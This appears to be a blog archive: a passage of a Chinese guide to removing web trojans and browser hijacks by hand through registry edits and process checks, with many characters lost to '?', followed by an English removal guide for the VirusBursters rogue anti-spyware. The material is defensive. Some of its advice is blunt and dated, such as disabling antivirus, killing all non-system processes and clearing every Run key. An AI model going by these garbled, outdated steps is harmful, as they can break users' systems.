l 請經常升級你的殺毒軟件病毒庫，讓他們能及時的查出藏在你計算機?的病毒殘體。經常性的做全機的掃描檢查。
l 推薦安裝：IE6.0.2800.1106 + SP1 + 4個IE專項補丁

第四章網頁病毒、網頁木馬的清理和手工清理

第一節網頁病毒、網頁木馬的一般清理

在病毒防治和查殺的第一選擇，我們首當其沖的就是殺毒軟件。不定期的升級你的病毒庫，關注你所用的操作系統和?覽器的漏洞信息以及相關補丁的安裝。當你進入一個惡意站點後注冊表被改時，首先要做的不是盲目的去找殺毒工具，而是确認一下你自己所中的毒是否隻是簡單的修改注冊表，如果是木馬的話，你還在網絡上飛來飛去，想想能不?東西?？這就是?什?在文章的開頭部分我們花了一部分篇幅進行惡意網頁機理的介紹和說明。?的就是叫大家從道理上明白，所謂的惡意網頁是通過什?樣的途徑，運行了什?樣的代碼執行出了什?樣的效果。當然，你沒必要去理解代碼的全部含義，至少在查看一個頁面原碼時發現它，也知道它是做什?，而不去訪問此頁。再提一點，這樣做并非是讓每人個人都去理解，去記憶。在這裏我們也采用“讓少數人先富起來的”政策。這樣，那些GG才能在MM面前顯示自己的“才能”。開個玩笑，轉入整題，如何一般性的清理病毒？
1.到“網上助手”去清理. 地址是：http://magic.3721.com
2.使用殺毒軟件殺毒. 用你自己的殺毒軟件來清除。記得要先升級。
3.使用一些專殺工具查殺. 到一些殺毒軟件站點去下載殺毒工具吧。
4.到本站的專業IE維護，是針對現在幾個流行的網頁病毒，網頁木馬站點修改注冊表鍵值精心制作的.地址是：http://ie.e3i5.net
[作者注]請在使用網頁IE修複時，最好進行兩次修複，我們的修複器采用的是_Dll插件+Javascript+ActiveX制作的，對系統的鍵值有檢測功能，如果你的注冊表項沒有更改，修複系統會自動退出。

第二節網頁病毒、網頁木馬的一般手工清理

一般在網絡不通或者不能上網的情況，你可能會需要修改回你的注冊表。這時以上的方法可能幫不上你任何的忙，怎?辦？嘗試我們推薦的辦法，手工清理。

1.清除每次開機時自動彈出的網頁
其實清除每次開機時自動彈出的網頁方法并不難，隻要你記住地址欄裏出現的網址，然後打開注冊表編輯器（方法是在點擊“開始”菜單，之後點擊“運行”，在運行框中輸入regedit命令進入注冊表編輯器），分?定位到：

　　HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce下，看看在該子項下是否有一個以這個網址?值的值項，如果有的話，就?其?除，之後重新?動計算機。這樣在下一次開機的時候就不再會有網頁彈出來了。不過網頁惡意代碼的編寫者有時也是非常的狡猾，他會在注冊表的不同鍵值中多處設有這個值項，這樣上面提的方法也未必能完全解決問題。遇到這種情況，你可以在注冊表編輯器的選項菜單裏選擇“編輯”→“查找”，在“查找”對話框?輸入開機時自動打開的網址，然後點擊“查找下一個”，?查找到的值項?除。另外，如果你是使用Windows 98的用戶，可在“開始”菜單中的“運行”對話框?輸入“msconfig”，點擊确定，打開“系統配置實用程序”并打開“?動”選項卡，檢查其中是否有非常可疑的?動項，如果有的話請?其禁用(在程序前的打上勾)，然後重?機器就可以了。如果你所使用的是Windows NT/2000的用戶，可以把Windows 98下的“系統配置實用程序”複制過來并運行進行查找清除。

2. IE?題欄被修改
具體說來受到更改的注冊表項目?：
　HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title
　　HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

　　解決辦法：
　　?在Windows?動後，點擊“開始”→“運行”菜單項，在“打開”欄中鍵入regedit，然後按“确定”鍵；
　　?展開注冊表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Window Title” ，?該串值?除即可，或?Window Title的鍵值改?“IE?覽器”等你喜歡的名字；
　　?同理，展開注冊表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
　　然後按?中所述方法處理。
　　?退出注冊表編輯器，重新?動計算機，運行IE，你會發現困擾你的問題被解決了！

3. IE分級審查密碼的清除
1.打開“開始”菜單，單擊“運行”，在運行框中輸入regedit命令（這是打開注冊表編輯表的命令）。
　　2.在注冊表編輯器中有五個主要的鍵值，請您按照下面順序一步一步打開下面的文件（在所指的文件夾上雙擊或單擊在文件夾前面的十字符?）。
　　3.具體順序是：
　　HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Policies\Ratings
　　在您打到Ratings文件夾後會看到在右面的窗口中有key鍵值，直接在這個鍵上點右鍵，之後選?除，然後關閉注冊表編輯器即可。
　　下面的這個圖是最後一個文件夾及其右面的提示，隻要?上面顯示的key鍵?除也就可以清除IE分級審查的密碼了。如圖：

4. 篡改IE的默認頁
具體說就是以下注冊表項被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL
　　“Default_Page_URL”這個子鍵的鍵值即起始頁的默認頁。
　　解決辦法：
　　運行注冊表編輯器，然後展開上述子鍵，?“Default_Page_URL”子鍵的鍵值中的那些篡改網站的網址改掉就行了，或者?其設置?IE的默認值。

5. 修複被鎖定的注冊表
可以自己動手制作一個解除注冊表鎖定的工具，就是用記事本編輯一個任意名字的.reg文件，比如recover.reg，?容如下：
窗體頂端
　　REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000
窗體底端
　　要特?注意的是：如果你用這個方法制作解除注冊表鎖定的工具，一定要嚴格按照上面的書寫格式進行，不能遺漏更不能修改（其實你隻需?上述?容“複制”、“粘貼”到你機器記事本中即可）；完成上述工作後，點擊記事本的文件菜單中的“另存?”項，文件名可以?意，但文件擴展名必須?.reg（切記）,然後點擊“保存”。這樣一個注冊表解鎖工具就制作完成了，之後你隻須雙擊生成的工具圖?，其會提示你是否?這個信息添加進注冊表，你要點擊“是”，?後系統提示信息已成功輸入注冊表，再點擊“确定”即可?注冊表解鎖了。

6. 修改IE?覽器缺省主頁，并且鎖定設置項，禁止用戶更改
主要是修改了注冊表中IE設置的下面這些鍵值(DWORD值?1時?不可選)：

　HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
　　"Settings"=dword:1
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
　　"Links"=dword:1
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
　　"SecAddSites"=dword:1
　　解決辦法：上面這些DWORD值改?“0”即可恢複功能。

7. IE的默認首頁灰色按扭不可選
　這是由于注冊表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel
　　下的DWORD值“homepage”的鍵值被修改的緣故。原來的鍵值?“0”，被修改後?“1”（即?灰色不可選狀?）。
　　解決辦法：?“homepage”的鍵值改?“0”即可。

8. IE右鍵菜單被修改
受到修改的注冊表項目?：
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
下被新建了網頁的廣告信息，并由此在IE右鍵菜單中出現！
　　解決辦法：
　　打開注冊?編輯器，找到
　　HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
　　?除相關的廣告條文即可，注意不要把下載軟件FlashGet和Netants也?除掉，這兩個可是“正常”的，除非你不想在IE的右鍵菜單中見到它們。

9. IE默認搜索引擎被修改
出現這種現象的原因是以下注冊表被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant
　　解決辦法：
　　運行注冊表編輯器，依次展開上述子鍵，?“CustomizeSearch”和“SearchAssistant”的鍵值改?某個搜索引擎的網址即可

10. 查看“源文件”菜單被禁用
惡意網頁修改了注冊表，具體的位置?：
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer
下建立子鍵“Restrictions”，然後在“Restrictions”下面建立兩個DWORD值：
“NoViewSource”和“NoBrowserContextMenu”，并?這兩個DWORD值賦值?“1”。

　　在注冊表
HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions下，?兩個DWORD值：“NoViewSource”和“NoBrowserContextMenu”的鍵值都改?了“1”。　通過上面這些鍵值的修改就達到了在IE中使鼠?右鍵失效，使“查看”菜單中的“源文件”被禁用的目的。
　　解決辦法：
　　?以下?容另存?後綴名?.reg的注冊表文件，比如說unlock.reg，雙擊unlock.reg導入注冊表，不用重?電腦，重新運行IE就會發現IE的功能恢複正常了。
　　REGEDIT4
　　HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
　　“NoViewSource”=dword:00000000
　　"NoBrowserContextMenu"=dword:00000000
　　HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions
　　“NoViewSource”=dword:00000000
　　“NoBrowserContextMenu”=dword:00000000

11. 系統?動時彈出對話框
受到更改的注冊表項目?：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
在其下被建立了字符串“LegalNoticeCaption”和“LegalNoticeText”，其中“LegalNoticeCaption”是提示框的?題，“LegalNoticeText”是提示框的文本?容。由于它們的存在，就使得我們每次登陸到Windwos桌面前都出現一個提示窗口，顯示那些網頁的廣告信息！
　　解決辦法：
　　打開注冊表編輯器，找到
　　HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
　　這一個主鍵，然後在右邊窗口中找到“LegalNoticeCaption”和“LegalNoticeText”這兩個字符串，?除這兩個字符串就可以解決在登陸時出現提示框的現象了。

12. IE默認連接首頁被修改
受到更改的注冊表項目?：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
　　通過修改“Start Page”的鍵值，來達到修改?覽者IE默認連接首頁的目的，如?覽“萬花谷”就會?你的IE默認連接首頁修改?“http://url.url.com ”，即便是出于給自己的主頁做廣告的目的，也顯得太霸道了一些，這也是這類網頁惹人厭惡的原因。
　　解決辦法：
　　?在Windows?動後，點擊“開始”→“運行”菜單項，在“打開”欄中鍵入regedit，然後按“确定”鍵；
　　?展開注冊表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Start Page”雙擊，?Start Page的鍵值改?“about:blank”即可；
　　?同理，展開注冊表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
　　在右半部分窗口中找到串值“Start Page”，然後按?中所述方法處理。
　　?退出注冊表編輯器，重新?動計算機，一切OK了！
　　特殊例子：當IE的起始頁變成了某些網址後，就算你通過選項設置修改好了，重?以後又會變成他們的網址啦，十分的難纏。其實他們是在你機器裏加了一個自運行程序，它會在系統?動時?你的IE起始頁設成他們的網站。
　　解決辦法：運行注冊表編輯器regedit.exe，然後依次展開
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
　　主鍵，然後?其下的registry.exe子鍵?除，然後?除自運行程序c:\Program Files\registry.exe，最後從IE選項中重新設置起始頁。

13. IE中鼠?右鍵失效
解決辦法：
1.右鍵菜單被修改。打開注冊表編輯器，找到HKEY_CURRENT_USER＼Software＼Microsoft＼Internet Explorer＼MenuExt，?除相關的廣告條文。
2.右鍵功能失效。打開注冊表編輯器，展開到
HKEY_CURRENT_USER＼Software＼Policies＼Microsoft＼
Internet Explorer＼Restrictions，?其DWORD值"NoBrowserContextMenu"的值改?0。

第三節未知網頁病毒、網頁木馬的高級手工清理

我想，文章到這裏應該算是高潮了吧，我們所遇到任何棘手的病毒都是未知的。也正式殺毒軟件管不了的，也沒有專殺工具的幹涉，一般的IE修複也是無能?力，那怎?辦？隻有靠自己動手?病毒或木馬請出你的計算機。動手前還是要做一件事。就是确認一下，你是不是真的染毒了，如果是類QQ病毒那樣的有明顯的征兆的你當然可以直接進行以下的操作，如果沒呢？就要養成一個謹慎的?度。當發現你的計算機速度這幾天突然速度很慢，你的文件夾或是文件多出幾個，進程裏無緣無故的多出幾個新的進程文件，計算機CPU利用率總是高居不下，一打開某種類型的文件就出錯，或者是無故的死機、藍屏，那?你該注意了，你的愛機可能已經中毒了。開始你的手工查殺工作吧。（這時最好是先用升級後殺毒軟件查一次，如果沒有任何發現，再進行以下操作）。
情況一，你是明确知道你的計算機已經中毒了，比如說是QQ上出現自動發出信息的問題。但你發現你所發的網址并非是以前文章上介紹過的地址，那?這個站點感染的病毒可能是另外一種植入方式，如加載的文件不同，?動方式也不同等等。既然已經中毒了，那就不怕什?了，再次深入虎穴吧。但我們沒必要那樣做，我們某種意義上的深入虎穴，?的是得到這個站點網頁的病毒原碼，如何得到，我想不用我說也大家也清楚。現在很多站點都提供原代碼查看的網頁，用它就可以完全實現不用訪問該頁而提取到原碼（不要太天真哦，用這個辦法那個頁面也會到你IE緩存?，但你不必PaPa，這個不會對你夠成任何威脅）.如果實在找不到，那你可以到http://www.e3i5.com/bbs/ 找我，我給你臨時做一個查看頁。（什?？找不到怎?辦？那就沒辦法了，你就真的再次深入虎穴，用工具欄上的查看選項去看原碼吧。呵呵~ ^_^!）?什?要查原碼，主要是看一下，網頁的運行機制是怎?樣的？又回到我們文章一開始的話題了，?什?要花些文章在介紹網頁病毒、網頁木馬的常識和運行機理上。學以必用的道理大家比我還清楚。分析出網頁病毒、木馬的機理我們再來進行本地機的清理工具?是一個很好的前提條件。

情況二，你根本不知道你是不是中毒了，怎?辦？要從計算機最基本的開始查，進程表。這個一般是查出問題的關鍵之處。一般都要使用第三方軟件來查看，如 windows優化大師的進程管理器，柳葉擦眼等。查看進程表，那些?識?系統文件的進程你可以不看，而那些非系統進程你要注意了。象一些仿系統文件的進程則是我們重點關心的對象，發現即禁止掉，然後到相應的路徑改名。（由于是非系統進程，終止掉它到下次重新?動也不會影響計算機的正常運行）然後，查看該文件的屬性，尤其是查看“創建時間”如果和你的中毒時間相仿或是差不多遠，那就說明這個文件十之八九就?病毒文件。一般的系統文件創建時間都是很早哦，大約要比當前時間早一到兩年，甚至三年五年的。按如此辦法我們就可以逐一的找出可疑的文件，然後按以下的方法進行病毒的清理。

清理工作的開始：
?準備工作：
下載進程管理軟件：柳葉擦眼沒有的請到以下地址下載：
http://www.e3i5.com/soft/SoftView.Asp?SoftID=361
這裏我推薦使用柳葉擦眼因?它是個綠色軟件，不需要安裝，下載解壓後該怎?用就怎?用，方便。
進行手工殺毒的準備工作，先關閉你能關閉的所有軟件，包括殺毒軟件，防火牆，寬帶連接等等一切能生成進程的東西.隻保留必要的系統進程，這樣會使以後的操作帶來很多方便。
?查看系統進程：除了顯示系統文件外，?所有無關的進程殺掉。
如：查看進程表定位文件。intneter.exe c:\windows\system\intneter.exe 這裏的intneter.exe就是仿intnater.exe輸入法進程加載到系統的非法進程文件，我們應馬上結束這個進程，并?除對應的文件，注意一些文件是?藏的，在查找時應用"文件夾選項"打開對?藏文件的查看.

如果不知道相關的進程，你可以這樣嘗試，
?進程軟件下載後，斷網，關閉運行的軟件，打開進程管理軟件，軟件顯示的系統進程你不要理，如果你不知道你以前正常的軟件進程名是什?的話，?所有非系統的進程全部殺死，（注意除了進程查看軟件之外的哦，我要是不說一定有人連它一起殺了.）并記下他們的文件路徑，并記錄下來。由于不知道是否是非法文件暫時改名，也記錄下來，以便修改。

?修改注冊表
開始 ------ > 運行 ------ > REGEDIT ------ > 編輯 ------ > 查找
查找
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]主鍵下所有的鍵都?空，如果不?空，全部清理?空.使系統?動不加載任何程序。（一般的來說，驅動程序除了一些顯示驅動會保留在?動項裏，其他重要的很少了）如果你知道你常用軟件所在RUN以及相關鍵下的值，當然更好，你就可以選擇性的進行清理。對以後的整理工作會更方便些。
修改以下注冊表關聯項目：
[HKEY_CLASSES_ROOT\ chm.file\ shell\ open\ command "(默認)" "%windir%\hh.exe" %1 ]
[HKEY_CLASSES_ROOT\ exefile\ shell\ open\ command "(默認)" "%1" %* ]
[HKEY_CLASSES_ROOT\ inifile\ shell\ open\ command "(默認)" %windir%\NOTEPAD.EXE %1 ]
[HKEY_CLASSES_ROOT\ regfile\ shell\ open\ command "(默認)" regedit.exe "%1" ]
[HKEY_CLASSES_ROOT\ scrfile\ shell\ open\ command "(默認)" "%1" /S ]
[HKEY_CLASSES_ROOT\ txtfile\ shell\ open\ command "(默認)" %windir%\NOTEPAD.EXE %1]

?清理?動項配置文件
1.進入配置管理，除WIN 2K外都?MSCONFIG.
開始 ------ > 運行 ------ > MSCONFIG
WIN 9X用戶注意：??動配置裏所有帶*.hta,的去掉。HTA的特性就是?藏掉窗體,然後一段時間就彈出網頁.
進入：system.ini
修改[BOOT]
shell=Explorer.exe //注意：後面沒東西了，再有什?，改成和前面一樣的。
進入：WIN.INI
修改[WINDOWS]
//注意load鍵後面除了=?什?也沒有。空格都不行。
LOAD=
NULLPORT=NONE
修改：autoexec.bat ?容?空
WIN 2K 直接進入?動編輯器。
修改以上三個文件.
記得這三個文件裏沒有任何?空的指令命令，有就?除。
任何值如果?空的話就是什?都沒有，甚至于空格都不存在。有之，改！

?清理注冊表垃圾信息
開始 ------ > 運行 ------ > REGEDIT ------ > 編輯 ------ > 查找
?開機運行的那個站點進行搜索找到即?除.

?清理緩存 [這點最重要]
一定要把你的IE緩沖區清理幹淨，以及TEMP文件夾的臨時文件和垃圾文件清理幹淨。
好了，?你記錄的路徑的文件保存，然後重新?動計算機。
?清理校驗
1.?動計算機後，再次打開柳葉擦眼，查看進程，看除了系統進程是否還有其他進程存在。如果沒有，說明手工清理完成。如果還發現異常的進程請重複以上步驟。
2.确認殺毒完成後，你開始逐一的?動各類軟件，檢查你所改名的文件是否會影響到軟件運行，如果沒有異常發生，請?除或放入你殺毒軟件的隔離區，(?什?要選擇後者畢竟我們還不清楚這是不是病毒文件，即使是在隔離區的文件系統是不會再次運行的).
[注意]做這項工作時你一定要想起你在殺進程時保存的那個進程路徑列表文件，依照上面的文件逐一的進行檢查.
3.逐一恢複了所有的進程後，重新?動計算機，再做最後一次檢測。以防萬一。
4.到此?止，你已經完成了你的全部手工清理過程，病毒已經被你請出你的計算機了。

總結：
不論怎?說，自己親自清理過一次網頁病毒後，你會覺得網頁病毒其實也并非那樣可怕，最難的是挑戰自我的勇氣。我個人并不推薦計算機出了問題就是格盤、重裝，這并非是一個解決問題的途徑。我們建議大家首先先簡單的認識惡意網頁的代碼機理?的就是從根本上來解決問題。但，我們更強調的是動手能力。當然我的意思也并非完全?棄殺毒和防毒軟件，但，畢竟是個工具。俗話講得好：事在人?。

[新問題]
最近在寫一個特殊效果頁的時候，發現一個新問題，頁面在執行了幾個特殊函數後，整個頁面被鎖死，以下所有的JS全部失效，打開進程查看，發現有一個svchost.exe一直在監視這個頁面進程，而在WINDOWS的?準進程管理中看不到，隻有借助第三方軟件才能終止此進程，即使終止了網頁進程，這個svchost.exe的監視進程還在。與好友LuoLuo商量了一段時間後，猜測可能是由于頁面中的某部分代碼引起了緩沖區溢出，導緻IE崩潰，而不能執行頁面指令。多次測試隻後我們還是找不到原因，到底是哪部分函數引起了這個問題我們還在研究中，出現的問題就是非常非常的?蔽，如果在頁面鎖死後可以注入一些惡意代碼或是木馬那不是沒救了？IE啊…用MOZILLA算了，呵呵~

後記

全文到這裏基本上結束了。通篇文章涉及到網頁病毒代碼分析，中毒機理分析，預防手段，以及一般的查殺、手工查殺四大部分的介紹。我盡量做到詳細的?問題以最簡單易懂的方式說明。歸結到一點就是，希望大家能從網頁病毒的本質出發來面對它，解決它。仔細想想現在含各式病毒站點越來越多，而他們利用的也不僅僅是代碼的威力以及系統或是?覽器上漏洞，也上在利用大家在?覽網頁的安全意識不健全的基礎上。另外，我還想說明的一點就是：不要完全依靠殺毒軟件，現在國?的一些殺毒軟件做的并完善，殺毒不徹底，很容易殘留一些病毒遺體到你計算機?，當你一不小心運行了它，病毒又死灰複燃了；還有就是一部分殺毒軟件雖然能及時的預警，但在殺毒上卻稍遜一籌.殺掉了緩存?的病毒原體，卻留下了病毒自動生成的新文件。這也似乎成了國?軟件的一個通病，功能有，但不強大。面對?如此格局，除了自己伸手幫自己，還能有什?辦法？相信自己，遇到問題自己動手解決.

VirusBrusters移除方法

2007-08-22T01:45:00.001-07:00

VirusBursters Program

If you are infected with this program you will receive warnings in your task bar stating that you are infected with spyware and to run its special anti-spyware tool. This tool turns out to be the VirusBursters or VirusBurster programs that were downloaded to your computer without your permission. These warnings are fake and are a goad to have you buy the commercial version of these software. The title for this fake security alert is Critical System Error! or Critical System Errors! and the text for these alerts can be either:

System detected virus activities. They may cause critical system failure. Please, use AntiSpyware software to clean and protect your system from parasite programs. Click this baloon to get all available software.

or

System detected virus activities. They may cause critical system failure. Please, use antimalware software to clean and protect your system from parasite programs. Click this baloon to get all available software.

Examples of these fake alerts are shown below:

VirusBursters Fake alert

VirusBurster Fake alert

VirusBurst or VirusBursters are a direct morph from a previous rogue anti-spyware program called VirusBurst. Though the information for this program has been changed to reflect new names, VirusBursters or VirusBurst, they have been shown to be hosted form the same locations, IP addresses, or even domains.

Tools Needed for this fix:

* SmitFraudFix (Automated Fix) FixVBS (Only needed for manual fix)

Symptoms in a HijackThis Log:

O4 - HKLM\..\Run: [VirusBursters] C:\Program Files\VirusBursters\virusbursters.exe /h
O4 - HKLM\..\Run: [VirusBurster] C:\Program Files\VirusBurster\virusburster.exe /h
O4 - HKLM\..\Run: [Virus-Bursters] C:\Program Files\Virus-Bursters\virus-bursters.exe /h

Add/Remove Programs control panel entry:

VirusBursters 6.2
Virus-Bursters 6.3
VirusBurster 6.3

Guide Updates:

10/29/06 - Initial guide creation.
10/29/06 - Added automated removal via SmitFraudFix
12/12/06 - Added information about VirusBurster (same program)

Choose the removal method you would like to use:

* Automated Removal (Easier, but requires a working Internet connection.)
* Manual Removal (Does not require a working Internet Connection and should be used if automated method does not work.)

Automated Removal Instructions for VirusBursters and VirusBurst:

Print out these instructions as we will need to close every window that is open later in the fix.

Download SmitfraudFix.exe from here and save it to your desktop:

SmitFraudFix.exeConfirm that the file SmitfraudFix.exe now resides on your desktop, but do not double-click on the icon as of yet. We will use it in later steps. The icon will look like the one below:

Next, please reboot your computer into Safe Mode by doing the following:

Restart your computer

After hearing your computer beep once during startup, but before the Windows icon appears, press F8.

Instead of Windows loading as normal, a menu should appear

Select the first option, to run Windows in Safe Mode.

1. When you are at the logon prompt, log in as the user you were performing the previous steps as.
When your computer has started in safe mode, and you see the desktop, close all open Windows.

Now, double-click on the SmitFraudfix icon that should be residing on your desktop.The icon will look like the one below:

When the tool first starts you will see a credits screen. Simply press any key on your keyboard to get to the next screen.

You will now see a menu as shown in the image below. Press the number 2 on your keyboard and the press the enter key to choose the option Clean (safe mode recommended).

The program will start cleaning your computer and go through a series of cleanup processes. When it is done, it will automatically start the Disk Cleanup program as shown by the image below.

This program will remove all Temp, Temporary Internet Files, and other files that may be leftover files from this infection. This process can take up to a few hours depending on your computer, so please be patient. When it is complete, it will close automatically and you will should continue with step 11.

When Disk Cleanup is finished, you will be presented with an option asking Do you want to clean the registry ? (y/n). At this screen you should press the Y button on your keyboard and then press the enter key.

When this last routine is finished, you will be presented with a red screen stating Computer will reboot now. Close all applications. You should now press the spacebar on your computer. A counter will appear stating that the computer will reboot in 15 seconds. Do not cancel this countdown and allow your computer to reboot.
1. Once the computer has rebooted, you will be presented with a Notepad screen containing a log of all the files removed from your computer. Examine this log, and when you are done, close the Notepad screen.

Your computer should now be free of the VirusBursters, Virus-Bursters and VirusBurster infection.

If you are still having problems with spyware after completing these instructions, then please follow the steps outlined in the topic linked below:

Preparation Guide For Use Before Posting A Hijackthis Log

Manual Removal Instructions for VirusBursters and VirusBurst:

These steps may appear to be long and daunting. They are, though, quite easy to do and consist of so many steps only because I have written them in an extremely detailed manner.

Print out these instructions as we will need to close every window that is open later in the fix.

Download FixVBS.reg to your desktop by right clicking on the following link and then selecting Save Link As or Save File as, depending on your browser.

FixVBS.reg Download Link

Confirm that the file FixVBS.reg now resides on your desktop as we will need it later.

Download SmitfraudFix.exe from here and save it to your desktop:

SmitFraudFix.exeConfirm that the file SmitfraudFix.exe now resides on your desktop, but do not double-click on the icon as of yet. We will use it in later steps. The icon will look like the one below:

Go to your desktop and double click on the FixVBS.reg file that you downloaded earlier. When it asks if you would like to merge the information, press the Yes button and then the OK button.

Click on the Start button and then select the Run option.

In the Open: field type c:\windows\system32 and then press the OK button.

When the folder appears, if it says These files are hidden, click on the Show the contents of this folder option.

We now need to make it so you can see hidden files.
1. Click on the Tools menu and select Folder Options. Click on the View tab. Under the Hidden files and folders category select Show hidden files and folders. Uncheck Hide protected operating system files. Press Apply and then OK.
Scroll through the list of files in this folder and look for rrtcany.dll. Right-click on rrtcany.dll and select rename. Rename the file to rrtcany.dll.bad.

Look for the file veklo.dll and rename the file to veklo.dll.bad.

Look for the file okkmtv.dll and rename the file to okkmtv.dll.bad.

Look for the file impgsje.dll and rename the file to impgsje.dll.bad.

Look for the file sacskza.dll and rename the file to sacskza.dll.bad.

Look for the file cfltygd.dll and rename the file to cfltygd.dll.bad.

Look for the file jbtazy.dll and rename the file to jbtazy.dll.bad.

Look for the file fmrmhc.dll and rename the file to fmrmhc.dll.bad.

Look for the file dcvwaah.dll and rename the file to dcvwaah.dll.bad.

Look for the file oebxpba.dll and rename the file to oebxpba.dll.bad.

Look for the file xxfgmy.dll and rename the file to xxfgmy.dll.bad.

Look for the file tpedvf.dll and rename the file to tpedvf.dll.bad.

Look for the file dbqlrij.dll and rename the file to dbqlrij.dll.bad.

Look for the file vcehaeb.dll and rename the file to vcehaeb.dll.bad.

Look for the file xqpauzx.dll and rename the file to xqpauzx.dll.bad.

Look for the file mlraakb.dll and rename the file to mlraakb.dll.bad.

Look for the file qrzsyr.dll and rename the file to qrzsyr.dll.bad.

Note: Please rename any of the above files that you may find. If you do not find any of these files, then you should post a note about it in the Am I Infected? forum.

After you rename the file, you can close the System32 folder window.

1. Next, please reboot your computer into Safe Mode by doing the following:Restart your computer

After hearing your computer beep once during startup, but before the Windows icon appears, press F8.

Instead of Windows loading as normal, a menu should appear

Select the first option, to run Windows in Safe Mode.
2. When you are at the logon prompt, log in as the same user which you had done the previous steps.When your computer has started in safe mode and you see the desktop, click on the Start Menu button.

Click on the Control Panel option.

Double-click on the Add or Remove Programs icon.

Find the entries for VirusBursters 6.2, Virus-Bursters 6.3 or VirusBurster 6.3 and double-click on it to uninstall them if found. Follow the prompts to uninstall the program, but do not allow it to reboot the computer if it asks.

When it has completed uninstalling you can close Add or Remove Programs and your Control Panel.

Delete the following files and folders (Do not be concerned if this folder does not exist):

C:\Windows\System32\rrtcany.dll
C:\Windows\System32\veklo.dll
C:\Program Files\VirusBursters\
C:\Program Files\Virus-Bursters\
C:\Program Files\VirusBurster\
C:\Windows\System32\okkmtv.dll.bad
C:\Windows\System32\impgsje.dll.bad
C:\Windows\System32\sacskza.dll.bad
C:\Windows\System32\jbtazy.dll.bad
C:\Windows\System32\cfltygd.dll.bad
C:\Windows\System32\fmrmhc.dll.bad
C:\Windows\System32\dcvwaah.dll.bad
C:\Windows\System32\oebxpba.dll.bad
C:\Windows\System32\xxfgmy.dll.bad
C:\Windows\System32\tpedvf.dll.bad
C:\Windows\System32\dbqlrij.dll.bad
C:\Windows\System32\vcehaeb.dll.bad
C:\Windows\System32\xqpauzx.dll.bad
C:\Windows\System32\mlraakb.dll.bad
C:\Windows\System32\qrzsyr.dll.bad

Close all open Windows.

Now, double-click on the SmitFraudfix icon that should be residing on your desktop.The icon will look like the one below:

When the tool first starts you will see a credits screen. Simply press any key on your keyboard to get to the next screen.

When the tool first starts you will see a credits screen. Simply press any key on your keyboard to get to the next screen.

You will now see a menu as shown in the image below. Press the number 2 on your keyboard and the press the enter key to choose the option Clean (safe mode recommended).

The program will start cleaning your computer and go through a series of cleanup processes. When it is done, it will automatically start the Disk Cleanup program as shown by the image below.

This program will remove all Temp, Temporary Internet Files, and other files that may be leftover files from this infection. This process can take up to a few hours depending on your computer, so please be patient. When it is complete, it will close automatically and you will should continue with step 25.

When Disk Cleanup is finished, you will be presented with an option asking Do you want to clean the registry ? (y/n). At this screen you should press the Y button on your keyboard and then press the enter key.

When this last routine is finished, you will be presented with a red screen stating Computer will reboot now. Close all applications. You should now press the spacebar on your computer. A counter will appear stating that the computer will reboot in 15 seconds. Do not cancel this countdown and allow your computer to reboot.
Once the computer has rebooted, you will be presented with a Notepad screen containing a log of all the files removed from your computer. Examine this log to see what files were found, and when you are done, close the Notepad screen.
3. We next perform an online scan with Panda to find any possible inactive remnants from this infection: Panda OnlineOnce you are on the Panda site click the Scan your PC button

A new window will open...click the Check Now button

Enter your Country

Enter your State/Province

Enter your e-mail address and click send

Select either Home User or Company

Click the big Scan Now button

If it wants to install an ActiveX component allow it

It will start downloading the files it requires for the scan (Note: It may take a few minutes)
4. When download is complete, click on Local Disks to start the scan
5. When the online scan has been completed, let it remove what it finds, and then you can close Internet Explorer.
6.

Your computer should now be free of the VirusBursters, Virus-Bursters, and VirusBurster infection

KillBox 刪除檔案器

2007-08-22T01:44:00.004-07:00

KillBox 刪除檔案器

